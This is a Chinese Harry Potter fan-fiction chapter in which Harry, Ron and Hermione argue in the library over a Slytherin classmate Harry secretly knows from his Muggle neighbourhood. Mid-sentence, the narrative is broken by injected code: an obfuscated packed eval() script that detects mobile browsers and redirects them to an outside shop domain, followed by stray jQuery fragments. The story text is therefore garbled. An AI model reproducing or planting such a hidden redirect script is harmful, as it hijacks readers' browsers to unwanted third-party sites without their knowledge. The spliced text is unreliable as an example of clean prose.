说起来,这事儿大概在巨怪事件不久后发生。
或许是有人信誓旦旦地说,“我看见波特一拳把巨怪打晕”的那天。
哈利、罗恩还有赫敏,他们三个正一起坐在图书馆最偏僻的角落里,面前摊着每人的《魔法史》作业,但谁也没有在写。
他们的脑袋正凑在一起,小声地嘀嘀咕咕。
“我还是要说,”哈利放下羽毛笔,绿眼睛在圆眼镜后隐含着很多层欲言又止,“那个德米特里——”
“尼克。”罗恩纠正道,头也没抬。
“对,就是他。”哈利把手肘撑在桌子上,身体前倾,声音压得很低,“你们不觉得他很奇怪吗?”
罗恩终于抬起头,雀斑脸上写满了困惑:“奇怪?他哪里奇怪了?他给了我一包帕帕纳西,还记得吗?那玩意儿比海格的岩皮饼好吃一百倍。”
“问题就在这里!”哈利用手指敲了敲桌面,“他给你一包——不管你叫它什么——帕帕纳西,然后你就觉得他好得不得了了?”
“不只是帕帕纳西,”罗恩掰着手指数,语气相当认真,“他在火车上就没找过我们麻烦,他帮我们从马尔福手里解了围,万圣节时他还跟我说过——”
哈利满脸不敢置信地盯着罗恩,发出一声介于叹息和呻吟之间的声音:“罗恩!他是在挑拨离间!你感觉不到吗?”
“挑拨离间?”罗恩的眉毛拧了起来,“挑拨谁和谁?”
“你和赫敏!”哈利说,声音不自觉地提高了半度,引来旁边桌子一个拉文克劳五年级学生的白眼。
罗恩的表情从困惑变成了防备:“你想多了吧,哈利。他只是在走廊上跟我说了几句话而已。而且赫敏当时本来就在课堂上当着全班的面纠正我——”
一直在旁边沉默地翻书的赫敏,在这时抬起了头。
她的棕色头发因为静电而蓬松着,脸上的表情看起来非常认真。
“他跟你说了什么?”赫敏问,但没有质问的意思。
罗恩抓了抓后脑勺,把那天走廊里的对话复述了一遍。
他说得很慢,因为要努力回忆原话,也因为他不确定自己复述出来之后,会得到什么样的反应。
等他说完,哈利和赫敏同时开了口。
“你看,我就说——”哈利说。
“那倒不一定是挑拨。”赫敏说。
两个人对视了一眼。
哈利的表情枯萎得像是被自己的队友背叛了。
“什么?”哈利说,“赫敏,你当时在哭!”
赫敏的耳根微微泛红,但她把下巴扬了起来,声音清晰而平稳:“我哭,是因为罗恩说了很伤人的话。但我不确定是德米特里让他说的。罗恩,你自己判断——你当时说那些话,是因为你觉得他让你说的,还是因为你自己本来就想说?”
罗恩沉默了。这是一个他不太想面对的问题。
他回想了一下那天的感受——那种积压了好几周的烦躁,被赫敏当众纠正时的难堪,回到休息室后对哈利抱怨时越说越气的情绪。
尼克确实说了那些话。但在尼克说之前,他已经在生气了。
“你果然被他挑拨离间了。”哈利率先宣布道,满脸都是“看吧,我早就知道”。
“我没有——!”罗恩的脸涨红了,“我只是在思考!你能不能别每件事都——”
“你居然开始认可一个斯莱特林的话!”哈利打断他,眼镜差点从鼻梁上滑下来,“罗恩,你还记得你在火车上怎么跟我说的吗?你说,‘斯莱特林出来的全是黑巫师,一个好东西都没有’。你自己的原话!”
“那是说马尔福!”罗恩抗议道,“德米特里又不是马尔福!他只是——他长得就不像坏人!”
“他长得——”哈利噎住了。
他猛地转过头,看着赫敏,仿佛在寻求一个公正的证人。
“赫敏,你听到了吗?罗恩居然说他长得不像坏人!他不能因为尼克长得好看就觉得他没问题!”
赫敏眨了眨眼。
罗恩也眨了眨眼。
“等等——”他仿佛听到了什么可怕的话,“这和德米特里长得好不好有什么关系?!”
“你说‘他长得就不像坏人’,那就是承认你觉得他长得好。”哈利逻辑严密(至少是自认为)地指出。
“我没有!我——”罗恩卡壳了。他张了几次嘴,最后猛地转向赫敏,“天呐,赫敏,哈利疯了吧?”
赫敏则在用一种更审慎的目光看着罗恩。
“呃,”她说,声调微微上扬,“那你是因为德米特里的妹妹?丹妮尔?”
“什么?”
“丹妮尔·德米特里,”赫敏重复道,翻开她面前那本《霍格沃茨:一段校史》的扉页,似乎在核对什么,“她确实很漂亮。”
“当然不是!”罗恩几乎是从椅子上弹了起来,膝盖撞到了桌腿,疼得他龇牙咧嘴,“你在想什么——我——我跟丹妮尔·德米特里一共只说过三句话!我甚至不记得她长什么样!”
“好吧,好吧。”赫敏举起双手,但嘴角挂着不太符合她一贯风格的笑意。
而后三个人沉默了几秒。
图书馆角落的空气里飘着旧书的霉味和墨水的气味,远处,平斯夫人正警惕地盯着一群在禁书区边缘窃窃私语的女生,没把注意放在他们三个身上。
哈利吸了一口气,又吐出来,然后把手从额头上放下来,用一种比之前更低、更严肃的语气说:“其实,我认识他。”
罗恩和赫敏同时愣住了。
“什么?”罗恩说。
“听我说。尼古拉斯——尼克——他才不是什么从罗马尼亚刚来的,”哈利说,绿眼睛透过破旧的圆眼镜看向面前的木桌,“他和我住在同一个社区。女贞路附近。他住在我隔壁那条街,我们在同一所麻瓜小学读书。他比我高一个年级。”
赫敏猛地坐直了身体,眼镜后的眼睛瞪得溜圆。
“不可能,”她几乎是脱口而出,“德米特里奥斯是一个显赫的纯血统姓氏,我在《现代魔法家族谱系》里读到过。他们的家族产业在喀尔巴阡山脉,以火龙养殖闻名,和至少四家欧洲魔杖制造商有长期供应合同,至少已经传承了三个世纪——”
“我不是说那个,”哈利打断了赫敏的专业输出,尽管他完全没听懂后面那一大段话,“我是说,他生活在麻瓜社区。他的姥姥和姥爷姓波顿,都是麻瓜——至少那个姥爷肯定是。他在学校用的名字是尼古拉斯·波顿,不是德米特里。”
赫敏的嘴张开了,又合上了。
她显然正在用她脑内庞大的信息库进行检索,试图调和一个斯莱特林纯血统和一个麻瓜社区地址之间的明显矛盾。
罗恩的反应则更加直接——他的眼睛眯起来,表情像一只嗅到不对劲气味的猎犬。
“等等,等等等等……”他说,声音明显压低了,“但,他是斯莱特林。斯莱特林不收麻瓜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628238|205993||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出身的巫师,这是最基本的规矩。如果他住在麻瓜社区,那他家里有巫师家长。他妈妈是德米特里奥斯,那个火龙生意的女继承人,这我知道。但他爸爸呢?”
罗恩顿了顿,脑子转得比平时快了整整一倍。
“全校都知道,他妈妈在英国拓展生意,但几乎没人提过他爸爸,他自己也没有。他在站台上介绍的时候也只说了他妈妈。你说他住在麻瓜姥姥家——”
“一个在麻瓜社区长大的纯血统巫师,隐藏了自己的姓氏,住在你隔壁,然后跑来霍格沃茨,还进了斯莱特林。”罗恩一口气把所有这些碎片拼起来,然后又倒抽了一口凉气,“梅林啊,哈利。他会不会是——你知道的——食死徒?我是说,他爸爸会不会是一个在逃的食死徒?他们把他藏在麻瓜社区,就是为了躲过魔法部的追查?他住在你隔壁,是不是为了监视你?”
哈利的眉毛扬了起来。
有一瞬间,他看起来像是真的在考虑这个可能性。
然后他摇了摇头。
“不算。我是说——”他皱了皱鼻子,似乎在组织语言。
“——他说过,他第一次见到我的时候是真的不认识我。开学前,他还专门警告过我不许说出去。如果他真的想监视我,他应该主动接近我,对吧?他反而让我离他远点。”他顿了顿,“而且他在麻瓜小学的时候——怎么说呢——他确实帮过我几次。虽然方式有点……奇怪。”
罗恩挠挠下巴:“那——也许德米特里是在保护你?像那种——潜伏在暗处的守卫?”
“那也不是。他才不是什么潜伏在暗处的守卫,”哈利说,语气里带着一种来自于在麻瓜小学被迫观察了尼克·波顿整整五年的疲惫,“他只是在当所有人的国王。”
赫敏从刚才起就一直保持沉默,手指无意识地翻着书页。
这时,她终于开口了:“如果——我是说如果——他真的是德米特里奥斯家族的人,同时又在麻瓜社区长大,那他父亲的身份一定有问题。”
她的声音恢复了那种冷静的、分析问题的语调:“纯血统家族不会无缘无故把孩子放在麻瓜社区。除非是出于安全考虑,或者有什么不想让人知道的事情。但你们刚才的假设太跳跃了,我们没有任何证据说明他和食死徒有关。他毕竟也才刚上二年级。”
罗恩想了想,勉强点了头。
哈利也点了点头,虽然他对斯莱特林的不信任并未因此减少分毫。
“我只是……真的觉得他很不对劲。”哈利最后说。
罗恩张了张嘴,但他又把话咽了回去。也许哈利确实有一种奇怪的、看穿某些人的直觉。
“那你会告诉别人吗?”罗恩问,“关于他住在你隔壁的事?除了我们之外?”
哈利沉默了一会儿。
“不。”他说。回答得干脆。他又停顿了一下,“我只是觉得他不对劲。不是觉得他该被出卖。”
赫敏用一种难以形容的眼神看着他,有那么一瞬间,她看起来也像是想说什么话又忍住了。
但她最终只是重新低下头,翻开了《魔法史》的下一页。
“不管怎样,”她说,语气恢复了一贯的严肃与务实,“如果你们说完了的话,宾斯教授要求的论文——你们不要编得刹不住闸,也不要把字写得太浮夸,他会扣分。”
罗恩发出一声呻吟,把脸埋进了摊开的课本里:“我宁愿写少也不被扣分!”
“写少了当然也会被扣分!”